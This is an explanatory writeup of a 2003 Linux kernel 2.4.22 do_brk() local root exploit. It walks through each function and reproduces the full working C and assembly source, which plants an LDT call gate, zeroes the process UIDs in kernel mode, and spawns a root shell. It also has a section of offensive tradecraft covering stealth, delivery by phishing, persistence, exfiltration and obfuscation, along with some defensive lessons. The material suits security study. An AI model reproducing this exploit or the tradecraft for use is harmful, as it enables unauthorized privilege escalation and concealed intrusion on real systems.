Linux Kernel 2.4.22 'do_brk()' Local Privilege Escalation Exploit Explained

Linux Kernel 2.4.22 'do_brk()' Local Privilege Escalation Exploit Explained
What this paper is
This paper details a local privilege escalation vulnerability in the Linux kernel version 2.4.22. The exploit, named "hatorihanzo.c," targets a flaw in the do_brk() system call. By manipulating memory management structures, an unprivileged user can gain root privileges.
Simple technical breakdown
The core of the exploit lies in how the kernel handles memory allocation requests via the do_brk() system call. When a program requests more memory, the kernel needs to manage "Virtual Memory Areas" (VMAs). This exploit finds a way to overflow a VMA structure, allowing it to overwrite critical kernel data. Specifically, it manipulates the Local Descriptor Table (LDT) entries, which are used for memory segmentation. By crafting specific LDT entries and triggering the overflow, the exploit can redirect the program's execution flow into malicious kernel code, effectively granting it root privileges.
Complete code and payload walkthrough
Let's break down the provided C code step-by-step.
Includes and Definitions:
#define _GNU_SOURCE: Enables GNU extensions.- Standard C library includes:
stdio.h,stdlib.h,errno.h,string.h,unistd.h,fcntl.h,signal.h,paths.h,grp.h,setjmp.h,stdint.h,sys/mman.h,sys/ipc.h,sys/shm.h,sys/ucontext.h,sys/wait.h. These provide essential functions for input/output, memory management, signal handling, process control, etc. - Architecture-specific includes:
asm/ldt.h,asm/page.h,asm/segment.h. These are crucial for interacting with the processor's segment descriptors and memory pages. - Linux-specific includes:
linux/unistd.h,linux/linkage.h. These define system call numbers and calling conventions. - Memory size definitions:
kB,MB,GB. - Magic numbers:
MAGIC,ENTRY_MAGIC,ENTRY_GATE,ENTRY_CS,ENTRY_DS. These are used for identifying specific memory locations and LDT entries. - LDT related macros:
CS,DS,GATE,LDT_PAGES. These calculate values for LDT entries. TOP_ADDR: A high memory address used as a boundary.
Global Variables:
unsigned task_size: Stores the size of the task structure.unsigned page: Stores the system's page size.uid_t uid: Stores the current user's UID.unsigned address: Stores a critical kernel address found by the exploit.int dontexit: A flag to prevent the exploit from exiting immediately on failure, useful for debugging.
Utility Functions:
fatal(char * msg): Prints an error message and exits the program. Ifdontexitis set, it enters an infinite loop instead of exiting.- Practical Purpose: Gracefully handles critical errors by providing informative messages and a controlled exit (or halt).
configure(void): Initializes global variables liketask_sizeanduid.task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;: This attempts to determine thetask_sizeby looking at the address of a local variablevaland calculating a multiple of 1GB. This is a heuristic to find a suitable boundary for memory manipulation.uid = getuid();: Retrieves the effective user ID of the current process.- Practical Purpose: Sets up initial environment information needed for the exploit.
Memory Manipulation Functions:
expand(void): Expands the program's data segment usingsbrk()until a targetlimitis reached.unsigned top = (unsigned) sbrk(0);: Gets the current end of the program's data segment.unsigned limit = address + PAGE_SIZE;: Sets the target address to expand up to.- The loop repeatedly calls
sbrk(PAGE_SIZE)to allocate memory page by page. dontexit = 1;: Sets the flag to prevent immediate exit ifsbrkfails.- Practical Purpose: Prepares the process's memory space by allocating memory, potentially triggering kernel memory management routines that the exploit targets.
sigsegv(int signo, siginfo_t * si, void * ptr): A signal handler forSIGSEGV(Segmentation Fault). It captures the error code from the fault and useslongjmpto return to a specific point in the code.struct ucontext * uc = (struct ucontext *) ptr;: Casts the pointer to aucontextstructure, which contains processor state.int error_code = uc->uc_mcontext.gregs[REG_ERR];: Extracts the error code from the fault.error_code = MAP_NOPAGE + (error_code & 1);: Modifies the error code. The& 1likely checks if the fault was due to read/write permissions.longjmp(jmp, error_code);: Restores the execution context saved bysetjmp.- Practical Purpose: Catches segmentation faults, which are expected during memory probing, and returns a specific error code to indicate the nature of the fault.
prepare(void): Sets up theSIGSEGVsignal handler usingsigaction.sa.sa_sigaction = sigsegv;: Assigns the custom handler.sa.sa_flags = SA_SIGINFO | SA_NOMASK;: Configures the handler to receive detailed signal information and not block other signals.sigemptyset(&sa.sa_mask);: Initializes the signal mask to be empty.sigaction(SIGSEGV, &sa, NULL);: Registers the signal handler.- Practical Purpose: Prepares the environment to catch segmentation faults gracefully.
testaddr(unsigned addr): Tests if a given memory address is accessible (i.e., mapped by the kernel). It usessetjmpandverr(a privileged instruction) to trigger a segmentation fault if the address is not mapped.val = setjmp(jmp);: Saves the current execution context.asm ("verr (%%eax)" : : "a" (addr));: Attempts to verify the addressaddr. Ifaddris not a valid page, this instruction will cause aSIGSEGV.- If
SIGSEGVoccurs,sigsegvis called, whichlongjmps back tosetjmpwith a non-zero value. - Returns
MAP_ISPAGE(1) if the address is accessible, orMAP_NOPAGE(0) plus the error code if not. - Practical Purpose: A crucial function for probing memory. It determines if a page at a given address is mapped by the kernel.
map(unsigned * map): This function iterates through a range of memory addresses (task_sizetoTOP_ADDR) and usestestaddrto check if each page is mapped. It populates a bitmaskmapwhere each bit corresponds to a page.addr += PAGE_SIZE;: Moves to the next page.next(map, bit);: This macro (#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)) effectively shifts the bitmaskbitto the left, wrapping around to the nextunsigned intinmapwhen it overflows.- Practical Purpose: Creates a bitmap of accessible memory pages within a specific range. This is used to understand the kernel's memory layout.
find(unsigned * m): This function searches for a specific memory region within the mapped pages identified by themapbitmask. It looks for a contiguous block ofLDT_PAGESpages that are mapped.- It iterates through addresses and checks
testaddr. if (val == MAP_ISPAGE && (*m & bit) == 0): Checks if the current page is mapped and if it's not marked as mapped in the inputm(meaning it's a newly discovered mapped page).if (tmp && count == LDT_PAGES): If a contiguous block ofLDT_PAGESis found, it setsaddressto the start of this block.fatal("Unable to determine kernel address");: If no suitable address is found, it terminates.- Practical Purpose: Locates a specific memory region in the kernel that is suitable for overwriting LDT entries. This is a key step in finding the vulnerability target.
- It iterates through addresses and checks
ldt(unsigned * m): This function prepares the Local Descriptor Table (LDT) entries. It first callsmapto get a memory map, then usesmodify_ldtto set up custom LDT entries. Finally, it callsfindto locate the target kernel address.struct modify_ldt_ldt_s l;: Structure to hold LDT entry information.l.entry_number = LDT_ENTRIES - 1;: Targets the last available LDT entry.l.seg_32bit = 1;: Sets the segment to 32-bit.l.base_addr = MAGIC >> 16;: Sets the base address using a magic number.l.limit = MAGIC & 0xffff;: Sets the limit using a magic number.modify_ldt(1, &l, sizeof(l)): Calls themodify_ldtsystem call to update the LDT.l.entry_number = ENTRY_MAGIC / 2;: Targets another LDT entry.find(m);: Callsfindto locate the kernel address where the LDT overflow will occur.- Practical Purpose: Manipulates the LDT to set up specific segment descriptors and then finds a kernel memory address that can be overwritten by these LDT entries.
Kernel Code and Execution:
kernel(unsigned * task): This is the malicious code that will be executed in kernel mode. It's designed to overwrite the current process's UID to 0 (root).while (addr[0] != uid || addr[1] != uid || addr[2] != uid || addr[3] != uid) addr++;: It searches for a block of memory containing the current user's UID four times consecutively. This is a heuristic to find the process's task structure.addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */: Sets the UID fields to 0.addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */: Further UID fields are zeroed out.addr[8] = 0;: Another field is zeroed.for (addr = (unsigned *) task_size; addr; addr++) { ... }: This loop searches for a specific VMA structure.if (addr[0] >= task_size && addr[1] < task_size && addr[2] == address && addr[3] >= task_size): This condition identifies a VMA structure that the exploit can manipulate.addr[2] == addressis the key check.addr[2] = task_size - PAGE_SIZE;: Overwrites a pointer within the VMA structure.addr = (unsigned *) addr[3];: Moves to another part of the VMA structure.addr[1] = task_size - PAGE_SIZE;: Overwrites another pointer.addr[2] = task_size;: Overwrites another pointer.- Practical Purpose: The core payload that, when executed in kernel mode, modifies the process's UID to root and manipulates VMA structures to facilitate further memory corruption.
__kcode(void): This function contains the assembly code for the kernel payload. It's designed to be called from kernel mode.kcode: pusha; pushl %es; pushl %ds; ... lret;: Standard prologue to save registers and set up segment registers.movl $(" str(DS) ") ,%edx; movl %edx,%es; movl %edx,%ds;: Sets up segment registers to point to the correct data segment.movl $0xffffe000,%eax; andl %esp,%eax; pushl %eax;: Calculates a safe stack pointer and pushes it.call kernel;: Calls the C functionkernelwhich contains the actual privilege escalation logic.addl $4, %esp; popl %ds; popl %es; popa;: Standard epilogue to restore registers.lret;: Long return, used to return from a call gate.- Practical Purpose: The entry point for the kernel-mode exploit code, setting up the environment and calling the main kernel payload function.
kcode: A placeholder for the__kcodeassembly.knockout(void): This function triggers the exploit by setting up a call gate and executing it.mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE): Makes the target page writable.addr[ENTRY_MAGIC] != MAGIC: Checks if the target LDT entry contains the expected magic value.addr[ENTRY_GATE+0] = ...; addr[ENTRY_GATE+1] = ...;: Sets up the call gate descriptor in the LDT. This descriptor points to thekcodeand specifies privilege levels.addr[ENTRY_CS+0] = ...; addr[ENTRY_CS+1] = ...;: Sets up a code segment descriptor.addr[ENTRY_DS+0] = ...; addr[ENTRY_DS+1] = ...;: Sets up a data segment descriptor.setjmp(jmp): Saves the context before the call gate.asm("lcall $" str(GATE) ",$0x0");: This is the critical instruction. It performs a "long call" to the call gate defined in the LDT. Because the call gate is set up to transition from user mode to kernel mode, and the targetkcodeis in kernel space, this instruction causes the kernel code to execute.- Practical Purpose: Orchestrates the final steps of the exploit by setting up the LDT with the malicious call gate and then triggering it with an
lcallinstruction.
shell(void): Replaces the current process with a shell.char * argv[] = { _PATH_BSHELL, NULL };: Sets up arguments for the shell.execve(_PATH_BSHELL, argv, environ);: Executes the shell.- Practical Purpose: The final stage of the exploit, providing the attacker with a root shell.
remap(void): This function sets up a new stack, reconfigures memory mappings, callsldtto prepare the LDT and find the kernel address, and then callsknockoutto trigger the exploit.static char stack[8 MB];: Allocates a new, larger stack.environ = envp;: Sets up the environment for the shell.asm ("movl %0, %%esp\n" : : "a" (stack + sizeof(stack)));: Sets the stack pointer to the top of the new stack.munmap((void*)b, task_size - b): Unmaps a portion of the address space.sbrk(PAGE_SIZE): Expands BSS to fill the unmapped space.ldt(m);: Prepares the LDT and finds the target kernel address.expand();: Expands the data segment.knockout();: Triggers the exploit.shell();: Spawns a shell.- Practical Purpose: The main setup function that prepares the execution environment, including a new stack and memory configurations, before initiating the exploit chain.
main(void): The entry point of the program. It callsconfigureand thenremap.- Practical Purpose: Starts the exploit execution.
Code Fragment/Block -> Practical Purpose Mapping:
fatal(): Error handling and controlled termination.configure(): Environment initialization (UID, task size).expand(): Memory allocation to prepare for exploit.sigsegv(): Signal handler for memory access violations.prepare(): Sets up the SIGSEGV handler.testaddr(): Probes memory pages for accessibility.map(): Creates a bitmap of mapped memory pages.find(): Locates a specific kernel memory region for LDT manipulation.ldt(): Configures LDT entries and finds the target kernel address.kernel(): The C function containing the kernel-mode payload to gain root privileges.__kcode(): Assembly code for the kernel payload entry point.knockout(): Sets up and triggers the LDT call gate exploit.shell(): Executes a shell after privilege escalation.remap(): Orchestrates the exploit setup, including stack, memory, LDT, and execution trigger.main(): Program entry point.
Practical details for offensive operations teams
- Required Access Level: Local user account with standard privileges. No special permissions are needed to run the exploit itself.
- Lab Preconditions:
- A target system running Linux kernel 2.4.22. This is a very old kernel version.
- The ability to compile and execute C code on the target system or transfer a pre-compiled binary.
- The target system must not have kernel hardening measures that would prevent LDT manipulation or the specific
do_brk()vulnerability.
- Tooling Assumptions:
- A C compiler (like GCC) is available on the target or can be used cross-platform.
- Standard Linux utilities (
sh,ls, etc.) are available for post-exploitation.
- Execution Pitfalls:
- Kernel Version Specificity: This exploit is highly specific to kernel 2.4.22. Even minor kernel updates could render it ineffective.
- Race Conditions: Memory management exploits can be susceptible to race conditions. The exploit might fail if other kernel processes heavily interact with memory management during its execution.
- Address Space Layout Randomization (ASLR): While ASLR was not as prevalent or robust in 2003, modern systems with ASLR would make the
find()function's address discovery much harder, if not impossible without additional information disclosure. - System Stability: Incorrect memory manipulation can lead to kernel panics or system instability. The
dontexitflag andSIGSTOPare safety mechanisms, but a failed exploit could still crash the system. - LDT Limits: The number of available LDT entries is limited. The exploit relies on finding and overwriting specific entries.
sbrk()Behavior: The exploit's reliance onsbrk()to expand the data segment might behave differently on various system configurations or with specific memory management policies.modify_ldtSystem Call: Themodify_ldtsystem call itself might be restricted or unavailable in some hardened environments.
- Tradecraft Considerations:
- Stealth: Running this exploit locally is generally less stealthy than remote exploits. The process will consume resources and potentially generate noticeable system activity.
- Payload Delivery: The exploit binary itself needs to be delivered to the target system. This could be done via phishing, social engineering, or exploiting another vulnerability.
- Post-Exploitation: Once root is achieved, the attacker would typically establish persistence, exfiltrate data, or move laterally. The provided
shell()function is a basic post-exploitation step. - Obfuscation: For increased stealth, the exploit binary could be obfuscated, packed, or delivered via a stager.
Where this was used and when
This exploit was developed and published in 2003. It targeted a specific vulnerability in the Linux kernel 2.4.22. Exploits of this nature were common in the early to mid-2000s as kernel security was less mature. While this specific exploit might not be actively used today due to the age of the targeted kernel, the techniques (memory corruption, LDT manipulation, privilege escalation via system call abuse) are foundational to understanding older vulnerability classes. It's unlikely to have widespread documented use in real-world attacks beyond proof-of-concept demonstrations or targeted attacks against systems running that exact kernel version.
Defensive lessons for modern teams
- Kernel Patching is Paramount: This exploit highlights the critical importance of keeping operating system kernels updated. Vulnerabilities in core kernel components are often severe.
- Memory Safety: Developers must be vigilant about memory safety in kernel code. Buffer overflows, use-after-free, and other memory corruption bugs are a constant threat.
- System Call Auditing: Monitoring and auditing system calls, especially those related to memory management (
brk,mmap,mprotect) and segment manipulation (modify_ldt), can help detect suspicious activity. - LDT Security: While LDTs are less commonly used in modern 64-bit systems, understanding their role and potential for misuse is important for legacy systems or specific architectures. Modern systems often have protections against arbitrary LDT modification.
- Privilege Separation: The principle of least privilege should be enforced. Processes should only have the permissions they absolutely need.
- Exploit Mitigation Techniques: Modern kernels employ various exploit mitigation techniques like KASLR (Kernel Address Space Layout Randomization), stack canaries, and control-flow integrity, which would make exploits like this much harder to develop and execute.
ASCII visual (if applicable)
+-----------------+ +-----------------+ +-----------------+
| User Process | ----> | syscall(do_brk) | ----> | Kernel |
| (Exploit Code) | | | | (Vulnerability) |
+-----------------+ +-----------------+ +-----------------+
|
| Overwrites VMA
| & LDT entries
v
+-----------------+ +-----------------+ +-----------------+
| User Process | <---- | Malicious Kernel| <---- | Kernel Memory |
| (Root Privs) | | Code Execution | | (Task Struct, |
+-----------------+ +-----------------+ | VMAs) |
+-----------------+Explanation:
- The user process, running the exploit, makes a
do_brk()system call. - The kernel's
do_brk()handler is vulnerable. - The exploit manipulates memory structures (VMAs) and the Local Descriptor Table (LDT) via this call.
- This manipulation redirects execution to malicious kernel code.
- The malicious kernel code executes with kernel privileges, modifying the process's UID to root.
- The process now has root privileges.
Source references
- Paper ID: 131
- Paper Title: Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation (2)
- Author: Wojciech Purczynski
- Published: 2003-12-05
- Keywords: Linux, local
- Paper URL: https://www.exploit-db.com/papers/131
- Raw URL: https://www.exploit-db.com/raw/131
Original Exploit-DB Content (Verbatim)
/*
* hatorihanzo.c
* Linux kernel do_brk vma overflow exploit.
*
* The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl>
*
* Further research and exploit development by
* Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz.
*
* (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.
*
* COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE
* OF PRESENTED CODE IS STRICTLY PROHIBITED.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <paths.h>
#include <grp.h>
#include <setjmp.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/ucontext.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <asm/page.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <linux/linkage.h>
#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB
#define MAGIC 0xdefaced /* I should've patented this number -cliph */
#define ENTRY_MAGIC 0
#define ENTRY_GATE 2
#define ENTRY_CS 4
#define ENTRY_DS 6
#define CS ((ENTRY_CS << 2) | 4)
#define DS ((ENTRY_DS << 2) | 4)
#define GATE ((ENTRY_GATE << 2) | 4 | 3)
#define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)
#define TOP_ADDR 0xFFFFE000U
/* configuration */
unsigned task_size;
unsigned page;
uid_t uid;
unsigned address;
int dontexit = 0;
void fatal(char * msg)
{
fprintf(stderr, "[-] %s: %s\n", msg, strerror(errno));
if (dontexit) {
fprintf(stderr, "[-] Unable to exit, entering neverending loop.\n");
kill(getpid(), SIGSTOP);
for (;;) pause();
}
exit(EXIT_FAILURE);
}
void configure(void)
{
unsigned val;
task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;
uid = getuid();
}
void expand(void)
{
unsigned top = (unsigned) sbrk(0);
unsigned limit = address + PAGE_SIZE;
do {
if (sbrk(PAGE_SIZE) == NULL)
fatal("Kernel seems not to be vulnerable");
dontexit = 1;
top += PAGE_SIZE;
} while (top < limit);
}
jmp_buf jmp;
#define MAP_NOPAGE 1
#define MAP_ISPAGE 2
void sigsegv(int signo, siginfo_t * si, void * ptr)
{
struct ucontext * uc = (struct ucontext *) ptr;
int error_code = uc->uc_mcontext.gregs[REG_ERR];
(void)signo;
(void)si;
error_code = MAP_NOPAGE + (error_code & 1);
longjmp(jmp, error_code);
}
void prepare(void)
{
struct sigaction sa;
sa.sa_sigaction = sigsegv;
sa.sa_flags = SA_SIGINFO | SA_NOMASK;
sigemptyset(&sa.sa_mask);
sigaction(SIGSEGV, &sa, NULL);
}
int testaddr(unsigned addr)
{
int val;
val = setjmp(jmp);
if (val == 0) {
asm ("verr (%%eax)" : : "a" (addr));
return MAP_ISPAGE;
}
return val;
}
#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)
#define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))
#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)
void map(unsigned * map)
{
unsigned addr = task_size;
unsigned bit = 1;
prepare();
while (addr < TOP_ADDR) {
if (testaddr(addr) == MAP_ISPAGE)
*map |= bit;
addr += PAGE_SIZE;
next(map, bit);
}
signal(SIGSEGV, SIG_DFL);
}
void find(unsigned * m)
{
unsigned addr = task_size;
unsigned bit = 1;
unsigned count;
unsigned tmp;
prepare();
tmp = address = count = 0U;
while (addr < TOP_ADDR) {
int val = testaddr(addr);
if (val == MAP_ISPAGE && (*m & bit) == 0) {
if (!tmp) tmp = addr;
count++;
} else {
if (tmp && count == LDT_PAGES) {
errno = EAGAIN;
if (address)
fatal("double allocation\n");
address = tmp;
}
tmp = count = 0U;
}
addr += PAGE_SIZE;
next(m, bit);
}
signal(SIGSEGV, SIG_DFL);
if (address)
return;
errno = ENOTSUP;
fatal("Unable to determine kernel address");
}
int modify_ldt(int, void *, unsigned);
void ldt(unsigned * m)
{
struct modify_ldt_ldt_s l;
map(m);
memset(&l, 0, sizeof(l));
l.entry_number = LDT_ENTRIES - 1;
l.seg_32bit = 1;
l.base_addr = MAGIC >> 16;
l.limit = MAGIC & 0xffff;
if (modify_ldt(1, &l, sizeof(l)) == -1)
fatal("Unable to set up LDT");
l.entry_number = ENTRY_MAGIC / 2;
if (modify_ldt(1, &l, sizeof(l)) == -1)
fatal("Unable to set up LDT");
find(m);
}
asmlinkage void kernel(unsigned * task)
{
unsigned * addr = task;
/* looking for uids */
while (addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid)
addr++;
addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */
addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */
addr[8] = 0;
/* looking for vma */
for (addr = (unsigned *) task_size; addr; addr++) {
if (addr[0] >= task_size && addr[1] < task_size &&
addr[2] == address && addr[3] >= task_size) {
addr[2] = task_size - PAGE_SIZE;
addr = (unsigned *) addr[3];
addr[1] = task_size - PAGE_SIZE;
addr[2] = task_size;
break;
}
}
}
void kcode(void);
#define __str(s) #s
#define str(s) __str(s)
void __kcode(void)
{
asm(
"kcode: \n"
" pusha \n"
" pushl %es \n"
" pushl %ds \n"
" movl $(" str(DS) ") ,%edx \n"
" movl %edx,%es \n"
" movl %edx,%ds \n"
" movl $0xffffe000,%eax \n"
" andl %esp,%eax \n"
" pushl %eax \n"
" call kernel \n"
" addl $4, %esp \n"
" popl %ds \n"
" popl %es \n"
" popa \n"
" lret \n"
);
}
void knockout(void)
{
unsigned * addr = (unsigned *) address;
if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)
fatal("Unable to change page protection");
errno = ESRCH;
if (addr[ENTRY_MAGIC] != MAGIC)
fatal("Invalid LDT entry");
/* setting call gate and privileged descriptors */
addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);
addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */
addr[ENTRY_CS+1] = 0x00cf9a00U;
addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */
addr[ENTRY_DS+1] = 0x00cf9200U;
prepare();
if (setjmp(jmp) != 0) {
errno = ENOEXEC;
fatal("Unable to jump to call gate");
}
asm("lcall $" str(GATE) ",$0x0"); /* this is it */
}
void shell(void)
{
char * argv[] = { _PATH_BSHELL, NULL };
execve(_PATH_BSHELL, argv, environ);
fatal("Unable to spawn shell\n");
}
void remap(void)
{
static char stack[8 MB]; /* new stack */
static char * envp[] = { "PATH=" _PATH_STDPATH, NULL };
static unsigned * m;
static unsigned b;
m = (unsigned *) sbrk(map_size);
if (!m)
fatal("Unable to allocate memory");
environ = envp;
asm ("movl %0, %%esp\n" : : "a" (stack + sizeof(stack)));
b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;
if (munmap((void*)b, task_size - b) == -1)
fatal("Unable to unmap stack");
while (b < task_size) {
if (sbrk(PAGE_SIZE) == NULL)
fatal("Unable to expand BSS");
b += PAGE_SIZE;
}
ldt(m);
expand();
knockout();
shell();
}
int main(void)
{
configure();
remap();
return EXIT_FAILURE;
}
// milw0rm.com [2003-12-05]